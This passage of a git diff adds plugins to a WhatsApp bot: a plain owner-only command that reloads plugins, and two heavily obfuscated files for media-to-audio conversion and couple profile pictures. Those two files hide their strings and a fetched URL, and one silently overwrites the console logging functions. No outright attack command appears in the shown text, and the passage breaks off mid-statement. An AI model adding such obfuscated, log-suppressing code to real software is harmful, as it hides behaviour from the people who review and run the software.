_0x5d90e8('๐Ÿ”„\x20*UPDATES\x20are\x20AVAILABLE\x20FOR\x20ALI-MD.*\x0a๐Ÿ“‘\x20*LAST\X20COMMIT*:\x20`'+_0x2bd28a+'`\x0a๐Ÿ‘ค\x20*AUTHOR*:\x20'+_0x352f8e+_0x50a56d(0xa3)+_0x35cca7+_0x50a56d(0xaf)+_0x5bab21+_0x50a56d(0xc2));}catch(_0x301335){console[_0x50a56d(0xb9)](_0x50a56d(0xba),_0x301335),_0x5d90e8('โŒ\x20Check\x20update\x20failed.\x20Please\x20try\x20manually.');}}); diff --git a/plugins/cmdupdate.js b/plugins/cmdupdate.js new file mode 100644 index 0000000000000000000000000000000000000000..5d4aaba7fd4bf19877dbca3f10951cd13e5202fb --- /dev/null +++ b/plugins/cmdupdate.js @@ -0,0 +1,58 @@ + + +const fs = require('fs'); +const path = require('path'); +const config = require('../config'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "updatecmd", + react: "๐Ÿงž", + desc: "Update commands.", + category: "owner", + filename: __filename +}, +async (conn, mek, m, { + from, + quoted, + body, + isCmd, + command, + args, + q, + isGroup, + sender, + senderNumber, + botNumber2, + botNumber, + pushname, + isMe, + isOwner, + groupMetadata, + groupName, + participants, + groupAdmins, + isBotAdmins, + isAdmins, + reply +}) => { + try { + if (!isOwner) return reply("Only bot owners can use this command."); + + const pluginsDir = path.join(__dirname, '../plugins'); + const files = fs.readdirSync(pluginsDir); + + for (const file of files) { + if (file.endsWith('.js')) { + const filePath = path.join(pluginsDir, file); + require(filePath); + console.log(`Loaded ${file}`); + } + } + + reply("Commands updated successfully."); + } catch (e) { + console.log(e); + reply(`Error updating commands: ${e.message}`); + } +}); diff --git a/plugins/convertr.js b/plugins/convertr.js new file mode 100644 index 0000000000000000000000000000000000000000..5eca54379321de5f0502822ad48d99d715bf4ed7 --- /dev/null +++ b/plugins/convertr.js @@ -0,0 +1 @@ +(function(_0x40af0c,_0x5098c2){const _0x5942c0=_0x40af0c();function _0x1784c9(_0x1ec6e9,_0xe00b44,_0x42fafd,_0x342226){return _0x43e4(_0x342226- -0xf7,_0xe00b44);}function _0x56fd1d(_0x314215,_0x5dc5,_0x10ebe0,_0x1667b3){return _0x43e4(_0x5dc5-0x2f1,_0x1667b3);}while(!![]){try{const _0x40c3de=parseInt(_0x1784c9(-0x12,-0x65,-0x2,-0x36))/(0x4fd*-0x1+-0xea2*-0x1+-0x9a4*0x1)*(-parseInt(_0x1784c9(-0x23,0x4,-0x3e,-0x9))/(-0x1a55+0x842+0x1*0x1215))+parseInt(_0x1784c9(-0x10,-0x45,-0x28,-0x3d))/(0x1cfa+0xdf9+-0x2af0)+-parseInt(_0x1784c9(0x4b,0x3e,-0x1e,0x13))/(-0x85*-0x3b+-0xf00+-0x1*0xfa3)*(-parseInt(_0x56fd1d(0x3cd,0x3c2,0x3c6,0x3dd))/(0x1*0x16ce+-0x1d3a+0x671))+parseInt(_0x1784c9(0x14,-0x10,-0x26,-0x6))/(0xc*-0x1bb+0x1d64+-0x2*0x44d)*(parseInt(_0x56fd1d(0x40b,0x3f5,0x3f0,0x3ef))/(-0x15fc+-0x1172+0x5a3*0x7))+-parseInt(_0x1784c9(-0x52,-0x2a,-0x38,-0x38))/(0x14ad+-0x1676+0x1d1)+-parseInt(_0x1784c9(0x0,-0x41,-0x2f,-0x2e))/(0x1dc8+-0x3e3+-0x19dc)+-parseInt(_0x1784c9(-0x38,-0x52,-0x10,-0x30))/(0x8*-0x158+-0x9*-0x1b7+-0x1*0x4a5);if(_0x40c3de===_0x5098c2)break;else _0x5942c0['push'](_0x5942c0['shift']());}catch(_0x5dfa01){_0x5942c0['push'](_0x5942c0['shift']());}}}(_0xdf28,-0x65f9c+0x226e1+0xb5389));const _0x42137e=(function(){const _0x540712={};_0x540712[_0x5e84d7(0x211,0x1ff,0x206,0x220)]=function(_0x15b684,_0x26f8d3){return _0x15b684===_0x26f8d3;};function _0x5e84d7(_0x33daf6,_0x230d80,_0x27f710,_0x40e5c3){return _0x43e4(_0x230d80-0x107,_0x33daf6);}const _0x29601b=_0x540712;let _0x269edf=!![];return function(_0x188735,_0x28536e){const _0x51155f={'WgIWQ':function(_0x2e6e70,_0x973bc8){function _0x1784d8(_0x5ced37,_0x375fa6,_0x2a3b0c,_0x460df8){return _0x43e4(_0x5ced37- -0x52,_0x375fa6);}return _0x29601b[_0x1784d8(0xa6,0x83,0x6a,0xdd)](_0x2e6e70,_0x973bc8);},'KFXyl':'onMbn'},_0x4c9300=_0x269edf?function(){function _0x4b84d8(_0x102d47,_0x43878b,_0x4670ab,_0x115cb5){return _0x43e4(_0x115cb5-0x2ef,_0x4670ab);}function _0x2cba95(_0x3d55fb,_0x49f5e3,_0x181804,_0x1fc216){return _0x43e4(_0x1fc216-0x100,_0x3d55fb);}if(_0x51155f[_0x4b84d8(0x3fe,0x3ab,0x3d2,0x3c5)](_0x51155f['KFXyl'],_0x51155f[_0x4b84d8(0x3af,0x3b2,0x3da,0x3d8)])){if(_0x28536e){const _0x398ef9=_0x28536e['apply'](_0x188735,arguments);return _0x28536e=null,_0x398ef9;}}else{if(_0x141198){const _0x200b69=_0x5d5c29[_0x4b84d8(0x3c4,0x3e1,0x3fb,0x3be)](_0x3e93fb,arguments);return _0x278d43=null,_0x200b69;}}}:function(){};return _0x269edf=![],_0x4c9300;};}()),_0x302fd8=_0x42137e(this,function(){const _0x11995f={};_0x11995f[_0x425fb7(0x77,0xb,0x28,0x3c)]='(((.+)+)+)'+'+$';const _0xce871b=_0x11995f;function _0x504ae0(_0x52fefe,_0x3b3746,_0x2680d7,_0x440b57){return _0x43e4(_0x3b3746-0x387,_0x2680d7);}function _0x425fb7(_0x1caa2,_0x2bb98f,_0xab615e,_0x5dc057){return _0x43e4(_0x5dc057- -0xc9,_0x2bb98f);}return _0x302fd8[_0x425fb7(0x37,0x3a,0x91,0x59)]()[_0x504ae0(0x4b6,0x49a,0x489,0x463)]('(((.+)+)+)'+'+$')['toString']()[_0x425fb7(0x1d,0x4b,0x77,0x3e)+'r'](_0x302fd8)['search'](_0xce871b[_0x504ae0(0x48f,0x48c,0x459,0x455)]);});_0x302fd8();const _0x515747=(function(){let _0x445bb3=!![];return function(_0x2e59b9,_0x1b1da8){const _0x54609c=_0x445bb3?function(){function _0x4df09a(_0x21b376,_0x20c6ca,_0x1d52b8,_0xefeb2c){return _0x43e4(_0x21b376- -0x214,_0xefeb2c);}if(_0x1b1da8){const _0x23eaa0=_0x1b1da8[_0x4df09a(-0x145,-0x10e,-0x167,-0x11b)](_0x2e59b9,arguments);return _0x1b1da8=null,_0x23eaa0;}}:function(){};return _0x445bb3=![],_0x54609c;};}());function _0x3780a5(_0x49dced,_0x2bb86c,_0x322e9b,_0x712de7){return _0x43e4(_0x322e9b-0x1db,_0x49dced);}const _0x3efc71=_0x515747(this,function(){const _0x511776={'dvbmE':function(_0x2bdb34,_0x3e125c){return _0x2bdb34!==_0x3e125c;},'sUyPE':_0x55b307(0x3d,0x10,0x5d,0x59),'NRQVX':function(_0x508bbb,_0x200b6a){return _0x508bbb(_0x200b6a);},'dUBMr':function(_0x23392a,_0x4f9b13){return _0x23392a+_0x4f9b13;},'hbZft':_0x5add1a(0x2b1,0x2e8,0x280,0x2b2)+_0x5add1a(0x29d,0x2ed,0x2d4,0x2b8),'iQzyI':_0x55b307(0x57,0x2a,0x23,0x39)+_0x5add1a(0x2e0,0x2f1,0x2a3,0x2cb)+'rn\x20this\x22)('+'\x20)','WlMXu':function(_0x2437e2){return _0x2437e2();},'yVXYa':_0x55b307(-0x1,0x2d,-0x6,-0x12),'vQpzk':_0x55b307(0x34,0x48,0x32,-0x7),'lnBFY':_0x55b307(-0xe,-0x2f,-0x21,-0x4a),'MXXID':_0x55b307(0x32,0xb,0x2,0x6b),'xVHwh':'exception','EKEaz':_0x55b307(0x20,0x5a,0x30,0x1b),'uglrs':function(_0x35384a,_0x785cf0){return _0x35384a<_0x785cf0;}};function _0x5add1a(_0x1bdfa5,_0x448af2,_0x8be91d,_0x95c4d8){return _0x43e4(_0x95c4d8-0x1db,_0x1bdfa5);}let _0x3141ee;function _0x55b307(_0x4616b5,_0x25217e,_0x952e0,_0x37ef9c){return _0x43e4(_0x4616b5- -0xd9,_0x25217e);}try{if(_0x511776[_0x55b307(0x2f,0x20,0x44,0x34)](_0x511776[_0x5add1a(0x2f5,0x290,0x2c8,0x2b9)],'ktxIE')){const _0x39818f=_0x511776[_0x55b307(0x41,0x3a,0x71,0x61)](Function,_0x511776['dUBMr'](_0x511776['hbZft'],_0x511776[_0x5add1a(0x2f7,0x2f9,0x2e3,0x2d5)])+');');_0x3141ee=_0x511776[_0x55b307(-0x7,-0x20,-0x8,0x36)](_0x39818f);}else{const _0x52e978=_0x511403['constructo'+'r'][_0x5add1a(0x2a4,0x272,0x29d,0x293)][_0x55b307(0x1,-0x30,-0x22,-0xb)](_0x551a3f),_0x2fef67=_0x2c913e[_0x2e42ca],_0xf8b86c=_0x19263d[_0x2fef67]||_0x52e978;_0x52e978[_0x55b307(0xb,-0x26,0x10,-0x3)]=_0x32008b[_0x55b307(0x1,-0x12,-0x28,-0x1c)](_0x4cc8dc),_0x52e978[_0x55b307(0x49,0x20,0xc,0x85)]=_0xf8b86c['toString'][_0x5add1a(0x29a,0x2ed,0x2c8,0x2b5)](_0xf8b86c),_0xfa4a7c[_0x2fef67]=_0x52e978;}}catch(_0x482d28){_0x3141ee=window;}const _0x4a6a4d=_0x3141ee[_0x55b307(0x3f,0x6f,0x60,0x2b)]=_0x3141ee[_0x55b307(0x3f,0x1c,0x12,0x3b)]||{},_0x5a434c=[_0x511776[_0x55b307(0x54,0x3f,0x8f,0x42)],_0x511776[_0x5add1a(0x2c6,0x287,0x2d8,0x2a9)],_0x511776[_0x55b307(0x4f,0x35,0x41,0x5f)],_0x511776[_0x55b307(0x1d,0x2d,0x2f,-0x15)],_0x511776[_0x55b307(0x1b,-0xf,-0x2,-0x1c)],_0x511776['EKEaz'],_0x5add1a(0x280,0x2a2,0x2ec,0x2b6)];for(let _0x3a92f4=-0x1*0x19e5+-0x134d+0x2d32;_0x511776[_0x55b307(0xa,-0x1e,0x28,-0x17)](_0x3a92f4,_0x5a434c[_0x55b307(-0xd,0x2a,-0x20,0x26)]);_0x3a92f4++){const _0x5b4dd6=_0x515747[_0x55b307(0x2e,0x4e,0x12,0x5a)+'r']['prototype'][_0x5add1a(0x281,0x2af,0x2e0,0x2b5)](_0x515747),_0x55e4f9=_0x5a434c[_0x3a92f4],_0x3ea8ec=_0x4a6a4d[_0x55e4f9]||_0x5b4dd6;_0x5b4dd6[_0x55b307(0xb,0x2b,0x21,0x3)]=_0x515747['bind'](_0x515747),_0x5b4dd6[_0x55b307(0x49,0x3b,0x73,0x42)]=_0x3ea8ec[_0x55b307(0x49,0x32,0x13,0x20)][_0x55b307(0x1,0x36,0x10,0x37)](_0x3ea8ec),_0x4a6a4d[_0x55e4f9]=_0x5b4dd6;}});_0x3efc71();const converter=require('../data/co'+_0x49523d(0x1be,0x1cf,0x1f8,0x1c7)),{cmd}=require(_0x3780a5(0x2e1,0x30d,0x2e9,0x2ca)),_0x592e2b={};function _0x43e4(_0x1d09b1,_0x302fd8){const _0x42137e=_0xdf28();return _0x43e4=function(_0xdf28f3,_0x43e446){_0xdf28f3=_0xdf28f3-(-0x14aa+0xf6*-0x8+0x1d11);let _0x1306ad=_0x42137e[_0xdf28f3];return _0x1306ad;},_0x43e4(_0x1d09b1,_0x302fd8);}_0x592e2b[_0x49523d(0x1cb,0x1a8,0x18a,0x18f)]=_0x49523d(0x1cc,0x19c,0x1cf,0x1a9),_0x592e2b[_0x49523d(0x162,0x149,0x1b3,0x186)]=[_0x49523d(0x198,0x166,0x18f,0x171)],_0x592e2b['desc']='Convert\x20me'+_0x3780a5(0x300,0x302,0x2c5,0x2ff)+'io',_0x592e2b[_0x49523d(0x19a,0x1a3,0x161,0x198)]=_0x49523d(0x180,0x1cf,0x18b,0x1b3),_0x592e2b[_0x49523d(0x1a9,0x1e9,0x1ee,0x1e2)]='๐ŸŒ€',_0x592e2b['filename']=__filename,cmd(_0x592e2b,async(_0x412aa5,_0x49af37,_0x20373d,{from:_0x5ba8db})=>{const _0x1069c9={};_0x1069c9[_0x586f49(0x369,0x333,0x34e,0x363)]=_0x23df64(0x114,0x120,0x12c,0x134)+_0x23df64(0x11b,0x137,0x100,0x10f)+_0x586f49(0x35e,0x36e,0x3a3,0x39e)+_0x23df64(0x106,0x10b,0xeb,0x10b)+'*',_0x1069c9[_0x586f49(0x36f,0x372,0x393,0x379)]='videoMessa'+'ge',_0x1069c9[_0x586f49(0x3a6,0x373,0x374,0x352)]=_0x586f49(0x39a,0x36c,0x38d,0x365)+'ge',_0x1069c9[_0x23df64(0x143,0x174,0x189,0x180)]='โŒ\x20Only\x20vid'+'eo/audio\x20m'+_0x23df64(0x14b,0x15b,0x18f,0x12f)+_0x23df64(0x16b,0x151,0x132,0x18b)+_0x23df64(0xe8,0x10f,0xda,0x132);function _0x23df64(_0x1bdfda,_0x3d36a1,_0x53bb58,_0x252950){return _0x3780a5(_0x53bb58,_0x3d36a1-0xa2,_0x3d36a1- -0x190,_0x252950-0x24);}_0x1069c9[_0x23df64(0x14a,0x15a,0x126,0x16a)]='โฑ๏ธ\x20Media\x20to'+'o\x20long\x20(ma'+_0x586f49(0x366,0x34f,0x322,0x316)+'s)',_0x1069c9[_0x586f49(0x33e,0x33b,0x303,0x362)]=function(_0x2bd05b,_0x3fba8b){return _0x2bd05b===_0x3fba8b;},_0x1069c9[_0x586f49(0x2ff,0x319,0x30d,0x33a)]='audio/mpeg',_0x1069c9[_0x586f49(0x35d,0x351,0x325,0x37a)]=function(_0x5a5001,_0x1b33aa){return _0x5a5001===_0x1b33aa;},_0x1069c9[_0x23df64(0x149,0x168,0x16a,0x132)]=_0x23df64(0x19b,0x15f,0x196,0x14d);const _0x38e37b=_0x1069c9;if(!_0x49af37[_0x23df64(0x125,0x162,0x17f,0x130)]){const _0x4605d1={};_0x4605d1['text']=_0x38e37b[_0x586f49(0x2f6,0x333,0x33c,0x30f)];const _0x3bf976={};return _0x3bf976['quoted']=_0x20373d,await _0x412aa5[_0x23df64(0x153,0x132,0x161,0x12a)+'e'](_0x5ba8db,_0x4605d1,_0x3bf976);}if(![_0x38e37b[_0x23df64(0x149,0x16a,0x136,0x18d)],_0x38e37b[_0x586f49(0x39d,0x373,0x376,0x360)]][_0x586f49(0x334,0x345,0x32a,0x317)](_0x49af37[_0x23df64(0x198,0x162,0x17a,0x192)][_0x586f49(0x33e,0x340,0x308,0x330)])){const _0x2f2096={};_0x2f2096[_0x586f49(0x306,0x338,0x34d,0x340)]=_0x38e37b['mdiac'];const _0x486a6d={};return _0x486a6d[_0x586f49(0x352,0x36a,0x39e,0x349)]=_0x20373d,await _0x412aa5[_0x586f49(0x359,0x33a,0x341,0x33c)+'e'](_0x5ba8db,_0x2f2096,_0x486a6d);}function _0x586f49(_0x539189,_0x15a8d6,_0x39848d,_0x5257f9){return _0x49523d(_0x539189-0x6f,_0x539189,_0x39848d-0x15,_0x15a8d6-0x19d);}if(_0x49af37[_0x586f49(0x395,0x36a,0x345,0x399)][_0x586f49(0x308,0x33e,0x308,0x344)]>-0x225b+0x783+0x1c04){const _0x2abc0d={};_0x2abc0d['text']=_0x38e37b['yxIkS'];const _0x3be5a9={};return _0x3be5a9[_0x23df64(0x138,0x162,0x134,0x154)]=_0x20373d,await _0x412aa5['sendMessag'+'e'](_0x5ba8db,_0x2abc0d,_0x3be5a9);}try{const _0x1f7cbd=await _0x49af37[_0x586f49(0x38a,0x36a,0x371,0x34b)][_0x586f49(0x32d,0x356,0x375,0x337)](),_0xefebc7=_0x38e37b[_0x586f49(0x353,0x33b,0x351,0x35b)](_0x49af37[_0x23df64(0x13a,0x162,0x134,0x12a)][_0x586f49(0x334,0x340,0x342,0x32d)],_0x38e37b[_0x23df64(0x150,0x16a,0x176,0x179)])?_0x23df64(0x16d,0x157,0x135,0x12e):_0x23df64(0x148,0x16f,0x13b,0x16f),_0x523d83=await converter[_0x23df64(0x144,0x154,0x142,0x16b)](_0x1f7cbd,_0xefebc7),_0x451b03={};_0x451b03[_0x586f49(0x31b,0x350,0x31d,0x32d)]=_0x523d83,_0x451b03[_0x586f49(0x30f,0x342,0x369,0x348)]=_0x38e37b[_0x586f49(0x306,0x319,0x33e,0x354)];const _0x1f03af={};_0x1f03af[_0x586f49(0x394,0x36a,0x331,0x39c)]=_0x20373d,await _0x412aa5[_0x23df64(0x13a,0x132,0xf9,0x16c)+'e'](_0x5ba8db,_0x451b03,_0x1f03af);}catch(_0x48dabe){if(_0x38e37b[_0x23df64(0x159,0x149,0x180,0x179)](_0x38e37b[_0x586f49(0x39d,0x370,0x36f,0x346)],_0x38e37b[_0x586f49(0x350,0x370,0x370,0x3a2)])){console['error'](_0x23df64(0x145,0x108,0x129,0xcc)+_0x586f49(0x381,0x365,0x32f,0x38b),_0x48dabe[_0x23df64(0x104,0x10e,0x123,0x123)]);const _0x3317c4={};_0x3317c4[_0x23df64(0x13a,0x130,0x10c,0x15e)]=_0x23df64(0x163,0x170,0x193,0x191)+'o\x20process\x20'+_0x586f49(0x374,0x350,0x35d,0x319);const _0x2a9149={};_0x2a9149[_0x23df64(0x196,0x162,0x17d,0x159)]=_0x20373d,await _0x412aa5[_0x23df64(0xfc,0x132,0x110,0x129)+'e'](_0x5ba8db,_0x3317c4,_0x2a9149);}else{const _0x568ee0=_0x50b087?function(){function _0x21c834(_0x2c752a,_0x542182,_0x3dafc8,_0x3b2270){return _0x586f49(_0x3b2270,_0x2c752a- -0x4db,_0x3dafc8-0x180,_0x3b2270-0x14);}if(_0x6641c8){const _0x346f6e=_0x59869c[_0x21c834(-0x1b9,-0x1e5,-0x1e9,-0x1ca)](_0x50826a,arguments);return _0x1d50a2=null,_0x346f6e;}}:function(){};return _0x4ef84f=![],_0x568ee0;}}});const _0x3cb8d4={};function _0xdf28(){const _0x24af68=['react','yVXYa','fKyPo','eTRyu','{}.constru','dia\x20to\x20voi','prototype','o\x20long\x20for','2324928dIKurS','mp3','XzDAS','Conversion','PTT\x20conver','2743992YbowHT','ษชแด\x20แดแด‡ssแด€ษขแด‡','1EdMXWL','audio/ogg;','message','rted','WLkKz','UytZm','6625260BklhNd','iiQvv','1969605qvnDpz','eo/audio\x20m','info','length','GyUNM','vQpzk','apply','alias','565HjoQcF','WlMXu','nzQYs','noATL','*๐Ÿงƒ\x20แด˜สŸแด‡แด€sแด‡\x20','WgIWQ','return\x20(fu','log','pattern','bind','trace','oice\x20messa','nction()\x20','sUyPE','wawe','xukdo','nZvFv','category','uglrs','__proto__','text','RyTGL','sendMessag','PmgMp','KFXyl','dia\x20to\x20aud','seconds','ส€แด‡แด˜สŸส\x20แด›แด\x20แด€','mtype','264338wbqjyD','mimetype','ctor(\x22retu','228yCCRKx','includes','tomp3','xVHwh','โŒ\x20Only\x20vid','MXXID','wwAat','TkonV','table','iQzyI','ce\x20message','x\x205\x20minute','audio','mZrFb','ptt','IHgVH','rn\x20this\x22)(','videoMessa','download','32557IsnWQE','hIciC','n\x20be\x20conve','constructo','dvbmE','toAudio','30812RIJbEX','error','mp4','warn','../command','yxIkS','essages\x20ca','nverter','\x20error:','search','OuBVA','filename','xolfr','quoted','console','audioMessa','NRQVX','\x20แด ษชแด…แด‡แด/แด€แดœแด…','o\x20create\x20v','LZqgs','xLVMX','TlLIB','BzVRY','DPJTd','toString','\x20voice\x20(ma','m4a','โŒ\x20Failed\x20t','sion\x20error','\x20codecs=op','lnBFY','mdiac','iKMqJ','tovoice'];_0xdf28=function(){return _0x24af68;};return _0xdf28();}_0x3cb8d4[_0x3780a5(0x294,0x2ee,0x2b4,0x2c5)]=_0x49523d(0x1c2,0x1dc,0x21d,0x1e1);function _0x49523d(_0x571862,_0x53333b,_0xf2660c,_0x2b2cb5){return _0x43e4(_0x2b2cb5-0xb6,_0x53333b);}_0x3cb8d4[_0x49523d(0x180,0x16f,0x167,0x186)]=[_0x3780a5(0x290,0x28f,0x2ba,0x2ad)],_0x3cb8d4['desc']='Convert\x20me'+_0x3780a5(0x267,0x2bb,0x292,0x296)+_0x3780a5(0x300,0x2d8,0x2d6,0x2ec),_0x3cb8d4[_0x49523d(0x174,0x179,0x16a,0x198)]='audio',_0x3cb8d4[_0x3780a5(0x2fc,0x2dd,0x307,0x32b)]='๐ŸŽ™๏ธ',_0x3cb8d4[_0x3780a5(0x319,0x31d,0x2f0,0x300)]=__filename,cmd(_0x3cb8d4,async(_0x3e65bb,_0xdbf08a,_0x4491de,{from:_0x2317db})=>{const _0x563bad={'eTRyu':function(_0x5935d1,_0x3d10dd){return _0x5935d1(_0x3d10dd);},'WLkKz':function(_0x4049fc,_0x3f54d7){return _0x4049fc+_0x3f54d7;},'BLSPZ':_0x4abfa0(-0x208,-0x277,-0x275,-0x240)+_0x4abfa0(-0x229,-0x22e,-0x252,-0x23a),'iKMqJ':function(_0x3850d3){return _0x3850d3();},'nZvFv':_0x50c764(0x169,0x16f,0x1a1,0x15d)+'ge','xLVMX':'audioMessa'+'ge','fKyPo':function(_0x426158,_0x5612c1){return _0x426158===_0x5612c1;},'IHgVH':_0x4abfa0(-0x206,-0x1ef,-0x252,-0x220),'NuJUU':_0x4abfa0(-0x228,-0x1f4,-0x210,-0x222)+_0x50c764(0x131,0x11f,0x10d,0x11e)+'essages\x20ca'+_0x4abfa0(-0x1f2,-0x23d,-0x21b,-0x211)+_0x4abfa0(-0x238,-0x22b,-0x219,-0x253),'iiQvv':function(_0x388f22,_0x5789d8){return _0x388f22>_0x5789d8;},'vvYFr':_0x4abfa0(-0x26b,-0x23d,-0x21f,-0x244),'RyTGL':'โฑ๏ธ\x20Media\x20to'+_0x4abfa0(-0x23d,-0x263,-0x269,-0x25e)+_0x50c764(0x18a,0x167,0x163,0x178)+'x\x201\x20minute'+')','DPJTd':function(_0x34b95e,_0x21edc8){return _0x34b95e===_0x21edc8;},'GyUNM':_0x4abfa0(-0x22f,-0x1f5,-0x200,-0x1f3),'XzDAS':_0x4abfa0(-0x224,-0x274,-0x223,-0x255)+_0x4abfa0(-0x1f3,-0x226,-0x1b5,-0x1f0)+'us'};function _0x50c764(_0x5dcb28,_0x886855,_0x165dde,_0x3bd2ab){return _0x3780a5(_0x886855,_0x886855-0x1e1,_0x5dcb28- -0x174,_0x3bd2ab-0x22);}function _0x4abfa0(_0x268374,_0x449589,_0x4b7552,_0x449ea8){return _0x3780a5(_0x4b7552,_0x449589-0x72,_0x449ea8- -0x4f2,_0x449ea8-0x1e0);}if(!_0xdbf08a[_0x4abfa0(-0x1d0,-0x1d3,-0x236,-0x200)]){const _0x9d0cda={};_0x9d0cda[_0x50c764(0x14c,0x165,0x17d,0x165)]='*๐Ÿ‰\x20แด˜สŸแด‡แด€sแด‡\x20'+_0x4abfa0(-0x21f,-0x21f,-0x22a,-0x22b)+_0x4abfa0(-0x1f8,-0x226,-0x226,-0x1fc)+_0x50c764(0x127,0x148,0x12e,0x113)+'*';const _0x4facfc={};return _0x4facfc[_0x50c764(0x17e,0x15b,0x149,0x191)]=_0x4491de,await _0x3e65bb['sendMessag'+'e'](_0x2317db,_0x9d0cda,_0x4facfc);}if(![_0x563bad[_0x50c764(0x148,0x119,0x185,0x17b)],_0x563bad[_0x50c764(0x185,0x1bb,0x17e,0x1bb)]][_0x4abfa0(-0x250,-0x20c,-0x1ec,-0x225)](_0xdbf08a[_0x50c764(0x17e,0x1ba,0x197,0x19b)][_0x50c764(0x154,0x18d,0x128,0x12a)])){if(_0x563bad[_0x4abfa0(-0x1e7,-0x1e4,-0x202,-0x1e9)](_0x563bad[_0x4abfa0(-0x234,-0x247,-0x22e,-0x217)],_0x563bad[_0x50c764(0x167,0x19d,0x15b,0x13d)])){const _0x414d5c={};_0x414d5c['text']=_0x563bad['NuJUU'];const _0x10778e={};return _0x10778e[_0x4abfa0(-0x1fe,-0x1c5,-0x205,-0x200)]=_0x4491de,await _0x3e65bb[_0x4abfa0(-0x201,-0x21d,-0x241,-0x230)+'e'](_0x2317db,_0x414d5c,_0x10778e);}else{const _0xa18b89=EpIevu[_0x50c764(0x196,0x185,0x178,0x192)](_0x28b594,EpIevu[_0x4abfa0(-0x25c,-0x27e,-0x271,-0x252)](EpIevu[_0x4abfa0(-0x24d,-0x26c,-0x266,-0x252)](EpIevu['BLSPZ'],_0x50c764(0x197,0x1ad,0x162,0x1c8)+_0x4abfa0(-0x24d,-0x213,-0x208,-0x227)+_0x4abfa0(-0x252,-0x20f,-0x1e1,-0x216)+'\x20)'),');'));_0x234e73=EpIevu[_0x50c764(0x191,0x1bb,0x19f,0x16e)](_0xa18b89);}}if(_0x563bad[_0x4abfa0(-0x23e,-0x232,-0x214,-0x24f)](_0xdbf08a['quoted'][_0x50c764(0x152,0x168,0x13c,0x125)],0x3*-0x167+-0x8b2+0x461*0x3)){if(_0x563bad['vvYFr']===_0x4abfa0(-0x215,-0x234,-0x25c,-0x243))_0x3ccc2b=_0x425e11;else{const _0x203687={};_0x203687['text']=_0x563bad[_0x4abfa0(-0x227,-0x208,-0x210,-0x231)];const _0x533dd9={};return _0x533dd9[_0x50c764(0x17e,0x168,0x1ba,0x189)]=_0x4491de,await _0x3e65bb[_0x50c764(0x14e,0x130,0x126,0x189)+'e'](_0x2317db,_0x203687,_0x533dd9);}}try{const _0x40cb2a=await _0xdbf08a['quoted']['download'](),_0x1d4e65=_0x563bad[_0x50c764(0x188,0x173,0x181,0x18a)](_0xdbf08a['quoted'][_0x50c764(0x154,0x11e,0x117,0x139)],_0x563bad[_0x50c764(0x148,0x11a,0x11e,0x179)])?_0x50c764(0x173,0x175,0x136,0x13d):_0x563bad[_0x50c764(0x134,0x12a,0x165,0x133)],_0x54dd0e=await converter['toPTT'](_0x40cb2a,_0x1d4e65),_0x58b0d9={};_0x58b0d9[_0x50c764(0x164,0x141,0x17b,0x140)]=_0x54dd0e,_0x58b0d9[_0x50c764(0x156,0x135,0x173,0x164)]=_0x563bad[_0x50c764(0x123,0x143,0xe7,0x153)],_0x58b0d9[_0x50c764(0x166,0x168,0x17e,0x12b)]=!![];const _0x42001d={};_0x42001d[_0x4abfa0(-0x1d0,-0x1d3,-0x223,-0x200)]=_0x4491de,await _0x3e65bb['sendMessag'+'e'](_0x2317db,_0x58b0d9,_0x42001d);}catch(_0x582ede){console[_0x4abfa0(-0x1ff,-0x225,-0x247,-0x20c)](_0x4abfa0(-0x250,-0x248,-0x27a,-0x259)+_0x50c764(0x18d,0x1b7,0x165,0x172)+':',_0x582ede[_0x4abfa0(-0x279,-0x281,-0x259,-0x254)]);const _0x29da38={};_0x29da38[_0x4abfa0(-0x23b,-0x212,-0x225,-0x232)]='โŒ\x20Failed\x20t'+_0x4abfa0(-0x21b,-0x1ce,-0x1f6,-0x1fb)+_0x4abfa0(-0x240,-0x268,-0x242,-0x23b)+'ge';const _0x3d9d59={};_0x3d9d59['quoted']=_0x4491de,await _0x3e65bb[_0x4abfa0(-0x24d,-0x24a,-0x1f4,-0x230)+'e'](_0x2317db,_0x29da38,_0x3d9d59);}}); diff --git a/plugins/couplepp.js b/plugins/couplepp.js new file mode 100644 index 0000000000000000000000000000000000000000..b6a8afcbf6fc0fa948d58b9b4423c48295f10221 --- /dev/null +++ b/plugins/couplepp.js @@ -0,0 +1,4 @@ + + + +const _0x34f662=_0xf072;(function(_0x3b4bc1,_0x2fcc3e){const _0x419acc=_0xf072,_0x45d36e=_0x3b4bc1();while(!![]){try{const _0x53ab43=parseInt(_0x419acc(0x1e3))/0x1+parseInt(_0x419acc(0x1d2))/0x2*(-parseInt(_0x419acc(0x1c7))/0x3)+-parseInt(_0x419acc(0x1df))/0x4+parseInt(_0x419acc(0x1c8))/0x5*(parseInt(_0x419acc(0x1de))/0x6)+parseInt(_0x419acc(0x1d9))/0x7*(parseInt(_0x419acc(0x1e4))/0x8)+parseInt(_0x419acc(0x1d5))/0x9+-parseInt(_0x419acc(0x1dd))/0xa;if(_0x53ab43===_0x2fcc3e)break;else _0x45d36e['push'](_0x45d36e['shift']());}catch(_0x4d4f52){_0x45d36e['push'](_0x45d36e['shift']());}}}(_0xfffc,0x97113));function hi(){const _0x51e952=_0xf072;console[_0x51e952(0x1c9)](_0x51e952(0x1ca));}hi();const {cmd,commands}=require(_0x34f662(0x1e1)),axios=require(_0x34f662(0x1ce));function _0xf072(_0x41d2dc,_0x5f0be1){const _0xfffcbd=_0xfffc();return _0xf072=function(_0xf072c2,_0x45f68c){_0xf072c2=_0xf072c2-0x1c7;let _0x245a8c=_0xfffcbd[_0xf072c2];return _0x245a8c;},_0xf072(_0x41d2dc,_0x5f0be1);}cmd({'pattern':_0x34f662(0x1cb),'alias':[_0x34f662(0x1d8),_0x34f662(0x1cf)],'react':'๐Ÿ’‘','desc':'Get\x20a\x20male\x20and\x20female\x20couple\x20profile\x20picture.','category':'image','use':_0x34f662(0x1db),'filename':__filename},async(_0x50edc5,_0xc5df33,_0x1b198a,{from:_0x4da616,args:_0x15071c,reply:_0x59b37a})=>{const _0x5e44d9=_0x34f662;try{_0x59b37a(_0x5e44d9(0x1d3));const _0xb820c3=await axios[_0x5e44d9(0x1cc)](_0x5e44d9(0x1dc));if(!_0xb820c3[_0x5e44d9(0x1da)]||!_0xb820c3[_0x5e44d9(0x1da)][_0x5e44d9(0x1cd)])return _0x59b37a(_0x5e44d9(0x1e2));const _0x355e74=_0xb820c3['data'][_0x5e44d9(0x1d1)],_0x4470cd=_0xb820c3['data'][_0x5e44d9(0x1e0)];_0x355e74&&await 